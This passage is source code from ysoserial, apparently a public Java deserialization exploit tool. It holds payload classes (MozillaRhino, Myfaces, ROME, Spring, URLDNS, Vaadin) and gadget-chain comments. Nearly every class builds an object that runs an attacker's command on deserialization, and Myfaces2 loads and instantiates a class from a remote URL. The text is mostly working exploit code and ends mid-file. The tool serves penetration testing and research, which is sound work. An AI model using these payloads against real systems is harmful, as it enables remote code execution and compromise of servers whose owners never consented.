-------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/MozillaRhino1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | import org.mozilla.javascript.*; 5 | import ysoserial.payloads.annotation.Authors; 6 | import ysoserial.payloads.annotation.Dependencies; 7 | import ysoserial.payloads.annotation.PayloadTest; 8 | import ysoserial.payloads.util.Gadgets; 9 | import ysoserial.payloads.util.JavaVersion; 10 | import ysoserial.payloads.util.PayloadRunner; 11 | import ysoserial.payloads.util.Reflections; 12 | 13 | import javax.management.BadAttributeValueExpException; 14 | import java.lang.reflect.Constructor; 15 | import java.lang.reflect.Field; 16 | import java.lang.reflect.Method; 17 | 18 | /* 19 | by @matthias_kaiser 20 | */ 21 | @SuppressWarnings({"rawtypes", "unchecked"}) 22 | @PayloadTest( precondition = "isApplicableJavaVersion") 23 | @Dependencies({"rhino:js:1.7R2"}) 24 | @Authors({ Authors.MATTHIASKAISER }) 25 | public class MozillaRhino1 implements ObjectPayload { 26 | 27 | public Object getObject(final String command) throws Exception { 28 | 29 | Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); 30 | Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); 31 | Reflections.setAccessible(nativeErrorConstructor); 32 | IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance(); 33 | 34 | Context context = Context.enter(); 35 | 36 | NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); 37 | 38 | Method enterMethod = Context.class.getDeclaredMethod("enter"); 39 | NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name"); 40 | idScriptableObject.setGetterOrSetter("name", 0, method, false); 41 | 42 | Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); 43 | NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message"); 44 | idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false); 45 | 46 | Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); 47 | Reflections.setAccessible(getSlot); 48 | Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); 49 | Field getter = slot.getClass().getDeclaredField("getter"); 50 | Reflections.setAccessible(getter); 51 | 52 | Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); 53 | Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); 54 | Reflections.setAccessible(memberboxClassConstructor); 55 | Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); 56 | getter.set(slot, memberboxes); 57 | 58 | NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class); 59 | idScriptableObject.setPrototype(nativeObject); 60 | 61 | BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); 62 | Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); 63 | Reflections.setAccessible(valField); 64 | valField.set(badAttributeValueExpException, idScriptableObject); 65 | 66 | return badAttributeValueExpException; 67 | } 68 | 69 | public static void main(final String[] args) throws Exception { 70 | PayloadRunner.run(MozillaRhino1.class, args); 71 | } 72 | 73 | public static boolean isApplicableJavaVersion() { 74 | return JavaVersion.isBadAttrValExcReadObj(); 75 | } 76 | 77 | } 78 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/MozillaRhino2.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.mozilla.javascript.*; 4 | import org.mozilla.javascript.tools.shell.Environment; 5 | import ysoserial.payloads.annotation.Authors; 6 | import ysoserial.payloads.annotation.Dependencies; 7 | import ysoserial.payloads.util.Gadgets; 8 | import ysoserial.payloads.util.PayloadRunner; 9 | import ysoserial.payloads.util.Reflections; 10 | 11 | import java.io.IOException; 12 | import java.io.ObjectOutputStream; 13 | import java.lang.reflect.Method; 14 | import java.util.Hashtable; 15 | import java.util.Map; 16 | 17 | /* 18 | 19 | Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject 20 | 21 | Chain: 22 | 23 | NativeJavaObject.readObject() 24 | JavaAdapter.readAdapterObject() 25 | ObjectInputStream.readObject() 26 | ... 27 | NativeJavaObject.readObject() 28 | JavaAdapter.readAdapterObject() 29 | JavaAdapter.getAdapterClass() 30 | JavaAdapter.getObjectFunctionNames() 31 | ScriptableObject.getProperty() 32 | ScriptableObject.get() 33 | ScriptableObject.getImpl() 34 | Method.invoke() 35 | Context.enter() 36 | JavaAdapter.getAdapterClass() 37 | JavaAdapter.getObjectFunctionNames() 38 | ScriptableObject.getProperty() 39 | NativeJavaArray.get() 40 | NativeJavaObject.get() 41 | JavaMembers.get() 42 | Method.invoke() 43 | TemplatesImpl.getOutputProperties() 44 | ... 45 | 46 | by @_tint0 47 | 48 | */ 49 | @SuppressWarnings({"rawtypes", "unchecked"}) 50 | @Dependencies({"rhino:js:1.7R2"}) 51 | @Authors({ Authors.TINT0 }) 52 | public class MozillaRhino2 implements ObjectPayload { 53 | 54 | public Object getObject( String command) throws Exception { 55 | ScriptableObject dummyScope = new Environment(); 56 | Map associatedValues = new Hashtable(); 57 | associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); 58 | Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues); 59 | 60 | Object initContextMemberBox = Reflections.createWithConstructor( 61 | Class.forName("org.mozilla.javascript.MemberBox"), 62 | (Class)Class.forName("org.mozilla.javascript.MemberBox"), 63 | new Class[] {Method.class}, 64 | new Object[] {Context.class.getMethod("enter")}); 65 | 66 | ScriptableObject initContextScriptableObject = new Environment(); 67 | Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); 68 | Reflections.setAccessible(makeSlot); 69 | Object slot = makeSlot.invoke(initContextScriptableObject, "foo", 0, 4); 70 | Reflections.setFieldValue(slot, "getter", initContextMemberBox); 71 | 72 | NativeJavaObject initContextNativeJavaObject = new NativeJavaObject(); 73 | Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope); 74 | Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true); 75 | Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", 76 | this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); 77 | Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject); 78 | 79 | ScriptableObject scriptableObject = new Environment(); 80 | scriptableObject.setParentScope(initContextNativeJavaObject); 81 | makeSlot.invoke(scriptableObject, "outputProperties", 0, 2); 82 | 83 | NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class); 84 | Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope); 85 | Reflections.setFieldValue(nativeJavaArray, "javaObject", Gadgets.createTemplatesImpl(command)); 86 | nativeJavaArray.setPrototype(scriptableObject); 87 | Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject); 88 | 89 | NativeJavaObject nativeJavaObject = new NativeJavaObject(); 90 | Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope); 91 | Reflections.setFieldValue(nativeJavaObject, "isAdapter", true); 92 | Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject", 93 | this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); 94 | Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray); 95 | 96 | return nativeJavaObject; 97 | } 98 | 99 | public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException { 100 | out.writeObject("java.lang.Object"); 101 | out.writeObject(new String[0]); 102 | out.writeObject(javaObject); 103 | } 104 | 105 | public static void main(final String[] args) throws Exception { 106 | PayloadRunner.run(MozillaRhino2.class, args); 107 | } 108 | 109 | } 110 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Myfaces1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | 5 | import javax.el.ELContext; 6 | import javax.el.ExpressionFactory; 7 | import javax.el.ValueExpression; 8 | import javax.servlet.ServletContext; 9 | import javax.servlet.ServletRequest; 10 | import javax.servlet.ServletResponse; 11 | 12 | import org.apache.myfaces.context.servlet.FacesContextImpl; 13 | import org.apache.myfaces.context.servlet.FacesContextImplBase; 14 | import org.apache.myfaces.el.CompositeELResolver; 15 | import org.apache.myfaces.el.unified.FacesELContext; 16 | import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; 17 | 18 | import ysoserial.payloads.annotation.Authors; 19 | import ysoserial.payloads.annotation.PayloadTest; 20 | import ysoserial.payloads.util.Gadgets; 21 | import ysoserial.payloads.util.PayloadRunner; 22 | import ysoserial.payloads.util.Reflections; 23 | 24 | 25 | /** 26 | * 27 | * ValueExpressionImpl.getValue(ELContext) 28 | * ValueExpressionMethodExpression.getMethodExpression(ELContext) 29 | * ValueExpressionMethodExpression.getMethodExpression() 30 | * ValueExpressionMethodExpression.hashCode() 31 | * HashMap.hash(Object) 32 | * HashMap.readObject(ObjectInputStream) 33 | * 34 | * Arguments: 35 | * - an EL expression to execute 36 | * 37 | * Requires: 38 | * - MyFaces 39 | * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) 40 | * 41 | * @author mbechler 42 | */ 43 | @PayloadTest(skip="Requires running MyFaces, no direct execution") 44 | @Authors({ Authors.MBECHLER }) 45 | public class Myfaces1 implements ObjectPayload, DynamicDependencies { 46 | 47 | public Object getObject ( String command ) throws Exception { 48 | return makeExpressionPayload(command); 49 | } 50 | 51 | 52 | public static String[] getDependencies () { 53 | if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) { 54 | return new String[] { 55 | "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", 56 | "org.mortbay.jasper:apache-el:8.0.27", 57 | "javax.servlet:javax.servlet-api:3.1.0", 58 | 59 | // deps for mocking the FacesContext 60 | "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" 61 | }; 62 | } else if ( "juel".equals(System.getProperty("el")) ) { 63 | return new String[] { 64 | "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", 65 | "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", 66 | "javax.servlet:javax.servlet-api:3.1.0", 67 | 68 | // deps for mocking the FacesContext 69 | "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" 70 | }; 71 | } 72 | 73 | throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); 74 | } 75 | 76 | public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception { 77 | FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); 78 | ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); 79 | Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); 80 | ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); 81 | 82 | ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); 83 | ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); 84 | ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); 85 | ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); 86 | 87 | return Gadgets.makeMap(e2, e); 88 | } 89 | 90 | 91 | public static void main ( final String[] args ) throws Exception { 92 | PayloadRunner.run(Myfaces1.class, args); 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Myfaces2.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | 5 | import ysoserial.payloads.annotation.Authors; 6 | import ysoserial.payloads.annotation.PayloadTest; 7 | import ysoserial.payloads.util.JavaVersion; 8 | import ysoserial.payloads.util.PayloadRunner; 9 | 10 | 11 | /** 12 | * 13 | * ValueExpressionImpl.getValue(ELContext) 14 | * ValueExpressionMethodExpression.getMethodExpression(ELContext) 15 | * ValueExpressionMethodExpression.getMethodExpression() 16 | * ValueExpressionMethodExpression.hashCode() 17 | * HashMap.hash(Object) 18 | * HashMap.readObject(ObjectInputStream) 19 | * 20 | * Arguments: 21 | * - base_url:classname 22 | * 23 | * Yields: 24 | * - Instantiation of remotely loaded class 25 | * 26 | * Requires: 27 | * - MyFaces 28 | * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) 29 | * 30 | * @author mbechler 31 | */ 32 | @PayloadTest(harness="ysoserial.test.payloads.MyfacesTest", precondition = "isApplicableJavaVersion") 33 | @Authors({ Authors.MBECHLER }) 34 | public class Myfaces2 implements ObjectPayload, DynamicDependencies { 35 | public static boolean isApplicableJavaVersion() { 36 | return JavaVersion.isAtLeast(7); 37 | } 38 | 39 | public static String[] getDependencies () { 40 | return Myfaces1.getDependencies(); 41 | } 42 | 43 | 44 | public Object getObject ( String command ) throws Exception { 45 | int sep = command.lastIndexOf(':'); 46 | if ( sep < 0 ) { 47 | throw new IllegalArgumentException("Command format is: :"); 48 | } 49 | 50 | String url = command.substring(0, sep); 51 | String className = command.substring(sep + 1); 52 | 53 | // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ 54 | String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"; 55 | 56 | // if we add fewer than the actual classloaders we end up with a null entry 57 | for ( int i = 0; i < 100; i++ ) { 58 | expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}"; 59 | } 60 | expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" 61 | + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}"; 62 | 63 | return Myfaces1.makeExpressionPayload(expr); 64 | } 65 | 66 | 67 | public static void main ( final String[] args ) throws Exception { 68 | PayloadRunner.run(Myfaces2.class, args); 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/ObjectPayload.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import java.lang.reflect.Modifier; 5 | import java.util.Iterator; 6 | import java.util.Set; 7 | 8 | import org.reflections.Reflections; 9 | 10 | import ysoserial.GeneratePayload; 11 | 12 | 13 | @SuppressWarnings ( "rawtypes" ) 14 | public interface ObjectPayload { 15 | 16 | /* 17 | * return armed payload object to be serialized that will execute specified 18 | * command on deserialization 19 | */ 20 | public T getObject ( String command ) throws Exception; 21 | 22 | public static class Utils { 23 | 24 | // get payload classes by classpath scanning 25 | public static Set> getPayloadClasses () { 26 | final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); 27 | final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); 28 | for ( Iterator> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { 29 | Class pc = iterator.next(); 30 | if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { 31 | iterator.remove(); 32 | } 33 | } 34 | return payloadTypes; 35 | } 36 | 37 | 38 | @SuppressWarnings ( "unchecked" ) 39 | public static Class getPayloadClass ( final String className ) { 40 | Class clazz = null; 41 | try { 42 | clazz = (Class) Class.forName(className); 43 | } 44 | catch ( Exception e1 ) {} 45 | if ( clazz == null ) { 46 | try { 47 | return clazz = (Class) Class 48 | .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); 49 | } 50 | catch ( Exception e2 ) {} 51 | } 52 | if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { 53 | clazz = null; 54 | } 55 | return clazz; 56 | } 57 | 58 | 59 | public static Object makePayloadObject ( String payloadType, String payloadArg ) { 60 | final Class payloadClass = getPayloadClass(payloadType); 61 | if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { 62 | throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); 63 | 64 | } 65 | 66 | final Object payloadObject; 67 | try { 68 | final ObjectPayload payload = payloadClass.newInstance(); 69 | payloadObject = payload.getObject(payloadArg); 70 | } 71 | catch ( Exception e ) { 72 | throw new IllegalArgumentException("Failed to construct payload", e); 73 | } 74 | return payloadObject; 75 | } 76 | 77 | 78 | @SuppressWarnings ( "unchecked" ) 79 | public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { 80 | if ( payload instanceof ReleaseableObjectPayload ) { 81 | ( (ReleaseableObjectPayload) payload ).release(object); 82 | } 83 | } 84 | 85 | 86 | public static void releasePayload ( String payloadType, Object payloadObject ) { 87 | final Class payloadClass = getPayloadClass(payloadType); 88 | if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { 89 | throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); 90 | 91 | } 92 | 93 | try { 94 | final ObjectPayload payload = payloadClass.newInstance(); 95 | releasePayload(payload, payloadObject); 96 | } 97 | catch ( Exception e ) { 98 | e.printStackTrace(); 99 | } 100 | 101 | } 102 | } 103 | } 104 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/ROME.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import javax.xml.transform.Templates; 5 | 6 | import com.sun.syndication.feed.impl.ObjectBean; 7 | 8 | import ysoserial.payloads.annotation.Authors; 9 | import ysoserial.payloads.annotation.Dependencies; 10 | import ysoserial.payloads.util.Gadgets; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | 13 | /** 14 | * 15 | * TemplatesImpl.getOutputProperties() 16 | * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) 17 | * NativeMethodAccessorImpl.invoke(Object, Object[]) 18 | * DelegatingMethodAccessorImpl.invoke(Object, Object[]) 19 | * Method.invoke(Object, Object...) 20 | * ToStringBean.toString(String) 21 | * ToStringBean.toString() 22 | * ObjectBean.toString() 23 | * EqualsBean.beanHashCode() 24 | * ObjectBean.hashCode() 25 | * HashMap.hash(Object) 26 | * HashMap.readObject(ObjectInputStream) 27 | * 28 | * @author mbechler 29 | * 30 | */ 31 | @Dependencies("rome:rome:1.0") 32 | @Authors({ Authors.MBECHLER }) 33 | public class ROME implements ObjectPayload { 34 | 35 | public Object getObject ( String command ) throws Exception { 36 | Object o = Gadgets.createTemplatesImpl(command); 37 | ObjectBean delegate = new ObjectBean(Templates.class, o); 38 | ObjectBean root = new ObjectBean(ObjectBean.class, delegate); 39 | return Gadgets.makeMap(root, root); 40 | } 41 | 42 | 43 | public static void main ( final String[] args ) throws Exception { 44 | PayloadRunner.run(ROME.class, args); 45 | } 46 | 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | /** 5 | * @author mbechler 6 | * 7 | */ 8 | public interface ReleaseableObjectPayload extends ObjectPayload { 9 | 10 | void release( T obj ) throws Exception; 11 | } 12 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Spring1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import static java.lang.Class.forName; 4 | 5 | import java.lang.reflect.Constructor; 6 | import java.lang.reflect.InvocationHandler; 7 | import java.lang.reflect.Type; 8 | 9 | import javax.xml.transform.Templates; 10 | 11 | import org.springframework.beans.factory.ObjectFactory; 12 | 13 | import ysoserial.payloads.annotation.Authors; 14 | import ysoserial.payloads.annotation.Dependencies; 15 | import ysoserial.payloads.annotation.PayloadTest; 16 | import ysoserial.payloads.util.Gadgets; 17 | import ysoserial.payloads.util.JavaVersion; 18 | import ysoserial.payloads.util.PayloadRunner; 19 | import ysoserial.payloads.util.Reflections; 20 | 21 | /* 22 | Gadget chain: 23 | 24 | ObjectInputStream.readObject() 25 | SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() 26 | SerializableTypeWrapper.TypeProvider(Proxy).getType() 27 | AnnotationInvocationHandler.invoke() 28 | HashMap.get() 29 | ReflectionUtils.findMethod() 30 | SerializableTypeWrapper.TypeProvider(Proxy).getType() 31 | AnnotationInvocationHandler.invoke() 32 | HashMap.get() 33 | ReflectionUtils.invokeMethod() 34 | Method.invoke() 35 | Templates(Proxy).newTransformer() 36 | AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke() 37 | ObjectFactory(Proxy).getObject() 38 | AnnotationInvocationHandler.invoke() 39 | HashMap.get() 40 | Method.invoke() 41 | TemplatesImpl.newTransformer() 42 | TemplatesImpl.getTransletInstance() 43 | TemplatesImpl.defineTransletClasses() 44 | TemplatesImpl.TransletClassLoader.defineClass() 45 | Pwner*(Javassist-generated). 46 | Runtime.exec() 47 | 48 | */ 49 | 50 | @SuppressWarnings({"rawtypes"}) 51 | @PayloadTest ( precondition = "isApplicableJavaVersion") 52 | @Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"}) 53 | @Authors({ Authors.FROHOFF }) 54 | public class Spring1 extends PayloadRunner implements ObjectPayload { 55 | 56 | public Object getObject(final String command) throws Exception { 57 | final Object templates = Gadgets.createTemplatesImpl(command); 58 | 59 | final ObjectFactory objectFactoryProxy = 60 | Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); 61 | 62 | final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) 63 | Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler") 64 | .newInstance(objectFactoryProxy), Type.class, Templates.class); 65 | 66 | final Object typeProviderProxy = Gadgets.createMemoitizedProxy( 67 | Gadgets.createMap("getType", typeTemplatesProxy), 68 | forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); 69 | 70 | final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); 71 | final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0); 72 | Reflections.setFieldValue(mitp, "methodName", "newTransformer"); 73 | 74 | return mitp; 75 | } 76 | 77 | public static void main(final String[] args) throws Exception { 78 | PayloadRunner.run(Spring1.class, args); 79 | } 80 | 81 | public static boolean isApplicableJavaVersion() { 82 | return JavaVersion.isAnnInvHUniversalMethodImpl(); 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Spring2.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import static java.lang.Class.forName; 5 | 6 | import java.lang.reflect.InvocationHandler; 7 | import java.lang.reflect.Type; 8 | 9 | import javax.xml.transform.Templates; 10 | 11 | import org.springframework.aop.framework.AdvisedSupport; 12 | import org.springframework.aop.target.SingletonTargetSource; 13 | 14 | import ysoserial.payloads.annotation.Authors; 15 | import ysoserial.payloads.annotation.Dependencies; 16 | import ysoserial.payloads.annotation.PayloadTest; 17 | import ysoserial.payloads.util.Gadgets; 18 | import ysoserial.payloads.util.JavaVersion; 19 | import ysoserial.payloads.util.PayloadRunner; 20 | import ysoserial.payloads.util.Reflections; 21 | 22 | 23 | /** 24 | * 25 | * Just a PoC to proof that the ObjectFactory stuff is not the real problem. 26 | * 27 | * Gadget chain: 28 | * TemplatesImpl.newTransformer() 29 | * Method.invoke(Object, Object...) 30 | * AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) 31 | * JdkDynamicAopProxy.invoke(Object, Method, Object[]) 32 | * $Proxy0.newTransformer() 33 | * Method.invoke(Object, Object...) 34 | * SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream) 35 | * 36 | * @author mbechler 37 | */ 38 | 39 | @PayloadTest ( precondition = "isApplicableJavaVersion") 40 | @Dependencies ( { 41 | "org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE", 42 | // test deps 43 | "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2" 44 | } ) 45 | @Authors({ Authors.MBECHLER }) 46 | public class Spring2 extends PayloadRunner implements ObjectPayload { 47 | 48 | public Object getObject ( final String command ) throws Exception { 49 | final Object templates = Gadgets.createTemplatesImpl(command); 50 | 51 | AdvisedSupport as = new AdvisedSupport(); 52 | as.setTargetSource(new SingletonTargetSource(templates)); 53 | 54 | final Type typeTemplatesProxy = Gadgets.createProxy( 55 | (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as), 56 | Type.class, 57 | Templates.class); 58 | 59 | final Object typeProviderProxy = Gadgets.createMemoitizedProxy( 60 | Gadgets.createMap("getType", typeTemplatesProxy), 61 | forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); 62 | 63 | Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider")); 64 | Reflections.setFieldValue(mitp, "provider", typeProviderProxy); 65 | Reflections.setFieldValue(mitp, "methodName", "newTransformer"); 66 | return mitp; 67 | } 68 | 69 | public static void main ( final String[] args ) throws Exception { 70 | PayloadRunner.run(Spring2.class, args); 71 | } 72 | 73 | public static boolean isApplicableJavaVersion() { 74 | return JavaVersion.isAnnInvHUniversalMethodImpl(); 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/URLDNS.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.io.IOException; 4 | import java.net.InetAddress; 5 | import java.net.URLConnection; 6 | import java.net.URLStreamHandler; 7 | import java.util.HashMap; 8 | import java.net.URL; 9 | 10 | import ysoserial.payloads.annotation.Authors; 11 | import ysoserial.payloads.annotation.Dependencies; 12 | import ysoserial.payloads.annotation.PayloadTest; 13 | import ysoserial.payloads.util.PayloadRunner; 14 | import ysoserial.payloads.util.Reflections; 15 | 16 | 17 | /** 18 | * A blog post with more details about this gadget chain is at the url below: 19 | * https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/ 20 | * 21 | * This was inspired by Philippe Arteau @h3xstream, who wrote a blog 22 | * posting describing how he modified the Java Commons Collections gadget 23 | * in ysoserial to open a URL. This takes the same idea, but eliminates 24 | * the dependency on Commons Collections and does a DNS lookup with just 25 | * standard JDK classes. 26 | * 27 | * The Java URL class has an interesting property on its equals and 28 | * hashCode methods. The URL class will, as a side effect, do a DNS lookup 29 | * during a comparison (either equals or hashCode). 30 | * 31 | * As part of deserialization, HashMap calls hashCode on each key that it 32 | * deserializes, so using a Java URL object as a serialized key allows 33 | * it to trigger a DNS lookup. 34 | * 35 | * Gadget Chain: 36 | * HashMap.readObject() 37 | * HashMap.putVal() 38 | * HashMap.hash() 39 | * URL.hashCode() 40 | * 41 | * 42 | */ 43 | @SuppressWarnings({ "rawtypes", "unchecked" }) 44 | @PayloadTest(skip = "true") 45 | @Dependencies() 46 | @Authors({ Authors.GEBL }) 47 | public class URLDNS implements ObjectPayload { 48 | 49 | public Object getObject(final String url) throws Exception { 50 | 51 | //Avoid DNS resolution during payload creation 52 | //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload. 53 | URLStreamHandler handler = new SilentURLStreamHandler(); 54 | 55 | HashMap ht = new HashMap(); // HashMap that will contain the URL 56 | URL u = new URL(null, url, handler); // URL to use as the Key 57 | ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. 58 | 59 | Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. 60 | 61 | return ht; 62 | } 63 | 64 | public static void main(final String[] args) throws Exception { 65 | PayloadRunner.run(URLDNS.class, args); 66 | } 67 | 68 | /** 69 | *

This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance. 70 | * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior 71 | * using the serialized object.

72 | * 73 | * Potential false negative: 74 | *

If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the 75 | * second resolution.

76 | */ 77 | static class SilentURLStreamHandler extends URLStreamHandler { 78 | 79 | protected URLConnection openConnection(URL u) throws IOException { 80 | return null; 81 | } 82 | 83 | protected synchronized InetAddress getHostAddress(URL u) { 84 | return null; 85 | } 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Vaadin1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import javax.management.BadAttributeValueExpException; 4 | 5 | import com.vaadin.data.util.NestedMethodProperty; 6 | import com.vaadin.data.util.PropertysetItem; 7 | 8 | import ysoserial.payloads.annotation.Authors; 9 | import ysoserial.payloads.annotation.Dependencies; 10 | import ysoserial.payloads.annotation.PayloadTest; 11 | import ysoserial.payloads.util.Gadgets; 12 | import ysoserial.payloads.util.JavaVersion; 13 | import ysoserial.payloads.util.PayloadRunner; 14 | import ysoserial.payloads.util.Reflections; 15 | 16 | @Dependencies ( { "com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14" }) 17 | @PayloadTest ( precondition = "isApplicableJavaVersion") 18 | @Authors({ Authors.KULLRICH }) 19 | public class Vaadin1 implements ObjectPayload 20 | { 21 | // +-------------------------------------------------+ 22 | // | | 23 | // | BadAttributeValueExpException | 24 | // | | 25 | // | val ==> PropertysetItem | 26 | // | | 27 | // | readObject() ==> val.toString() | 28 | // | + | 29 | // +----------|--------------------------------------+ 30 | // | 31 | // | 32 | // | 33 | // +----|-----------------------------------------+ 34 | // | v | 35 | // | PropertysetItem | 36 | // | | 37 | // | toString () => 